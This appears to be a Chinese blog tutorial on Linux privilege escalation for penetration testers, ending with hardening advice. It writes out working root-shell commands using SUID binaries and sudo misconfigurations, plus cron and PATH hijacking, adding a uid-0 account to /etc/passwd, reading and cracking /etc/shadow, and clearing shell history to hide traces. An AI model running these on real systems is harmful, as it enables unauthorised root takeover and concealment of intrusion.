Linux渗透测试提权思路与常用方法

📅 2026/8/2 2:13:58 👁️ 阅读次数 📝 编程学习
Linux渗透测试提权思路与常用方法

Linux渗透提权思路与常用方法
⚠️仅用于授权安全测试,禁止对未授权机器操作,违法将承担法律责任
提权核心:拿到普通Shell后,寻找漏洞、错误配置、权限泄漏、可执行SUID、定时任务、内核漏洞,从普通用户提升到root权限。
一、信息收集(提权第一步)

拿到shell先收集本机信息,判断提权突破口

系统版本、内核版本

uname -a
cat /etc/os-release

当前用户、id、sudo权限

id
sudo -l

查看可写目录

find / -writable -type d 2>/dev/null

SUID/SGID程序(重点!SUID程序以属主身份运行)

find / -perm -u+s -type f 2>/dev/null

计划任务crontab

crontab -l
cat /etc/crontab
ls -l /etc/cron.*

环境变量、历史命令(可能泄露密码)

env
history
cat ~/.bash_history

查看数据库、配置文件是否有明文密码

cat /etc/passwd
cat /etc/shadow # 若可读可破解hash
工具一键搜集:linpeas.sh、linenum.sh,上传到目标机器执行,自动输出提权风险点。
二、常见提权方式

  1. SUID 二进制提权

文件设置u+s,执行时拥有文件属主权限,如果属主是root,普通用户运行就拥有root权限。

常见可利用SUID

• /bin/bash:如果设置SUID
bash -p # -p保留SUID权限,直接拿到root shell
• /find SUID
find . -exec /bin/sh ; -quit
• /vim SUID
vim -c ‘:!/bin/sh’
• /nmap老版本交互模式
nmap --interactive
!sh
注意:现代系统很多二进制不再支持SUID提权,要看实际版本。
2. Sudo错误配置提权 sudo -l

sudo -l查看当前用户允许sudo执行哪些命令,很多配置错误允许普通用户sudo运行危险程序。

示例:

  1. 允许sudo执行find
    sudo find . -exec /bin/sh ; -quit
  2. 允许sudo执行vim
    sudo vim -c ‘:!/bin/bash’
  3. 允许sudo执行less/more
    sudo less /etc/profile
    !bash
  4. 允许sudo执行python
    sudo python3 -c ‘import os;os.system(“/bin/bash”)’
  5. Cron定时任务提权

场景:root的crontab调用的脚本/程序,普通用户拥有写权限。
root定时任务执行我们可控的脚本,执行时就是root权限。

  1. 发现/etc/cron.d/xxx里面执行/tmp/run.sh,而/tmp/run.sh我们可写。

  2. 改写run.sh写入反弹shell或者/bin/bash
    echo ‘chmod u+s /bin/bash’ > /tmp/run.sh

等待cron执行,之后 bash -p 获取root

常见目录:/etc/cron.hourly /etc/cron.daily /etc/cron.d
4. 内核漏洞提权

内核存在本地提权CVE,普通用户执行exp拿到root。

• 经典:CVE‑2016‑5195 Dirty COW(脏牛),低版本Linux

• CVE‑2021‑3156 sudo溢出

• CVE‑2022‑0847 Dirty Pipe

流程:

  1. uname -r获取内核版本

  2. 查找对应exp,编译上传到目标,本地执行exp获取root
    风险:内核exp不稳定,有可能导致机器宕机,测试环境慎用。

  3. 密码泄露提权

  4. 读取/etc/shadow,拿到用户密码hash,本地john/hashcat爆破密码
    拿到密码后直接su root或sudo su

  5. 各种配置文件、历史命令、数据库配置中明文root密码:
    ~/.bash_history、web配置文件config.php、/etc/mysql/my.cnf

  6. 环境变量劫持提权

当root运行的程序调用外部命令,没有写绝对路径。
修改PATH,把恶意同名脚本放到PATH前面,root执行时调用恶意程序。

示例:root的suid程序调用ls,不写全路径。我们写恶意ls,把当前目录加入PATH,执行suid程序就触发。

  1. 可写/etc/passwd /etc/shadow

普通用户如果可写/etc/passwd,直接新增root账号:

生成密码hash

openssl passwd -1 123456

在passwd增加一行

hack:111xxxxxx:0:0::/root:/bin/bash

su hack 就是root权限

三、提权常用工具

  1. LinPEAS:最常用,自动扫描全部提权点

靶机无网络,本机下载,上传靶机

chmod +x linpeas.sh
./linpeas.sh
2. Linenum:老版本信息搜集脚本

  1. GTFOBins网站:👉 遇到可sudo/suid的程序,直接查GTFOBins,获取对应的shell payload
    https://gtfobins.github.io/ 渗透必备,几乎所有二进制提权payload都在这里。
    四、提权后痕迹简单处理(测试环境)

清除history

history -c
echo ‘’ > ~/.bash_history

删除上传的exp脚本

rm -rf exp linpeas.sh
五、防御建议(安全加固角度)

  1. 定期升级内核、sudo,修补本地提权CVE

  2. 清理无用SUID文件,最小化SUID程序

  3. 严格配置sudo权限,不允许普通用户sudo运行解释器、find/vim/python等高危程序

  4. cron脚本设置权限,普通用户不可写root的定时脚本和脚本文件

  5. 禁止普通用户读取shadow,配置文件禁止存放明文密码

  6. 定期运行linpeas自查风险配置

简单实操流程总结

拿到低权限shell → 执行linpeas做信息搜集 → 优先看sudo -l、SUID、cron任务 → 有可利用点直接拿root;没有再看内核版本,尝试内核exp;最后找泄露密码。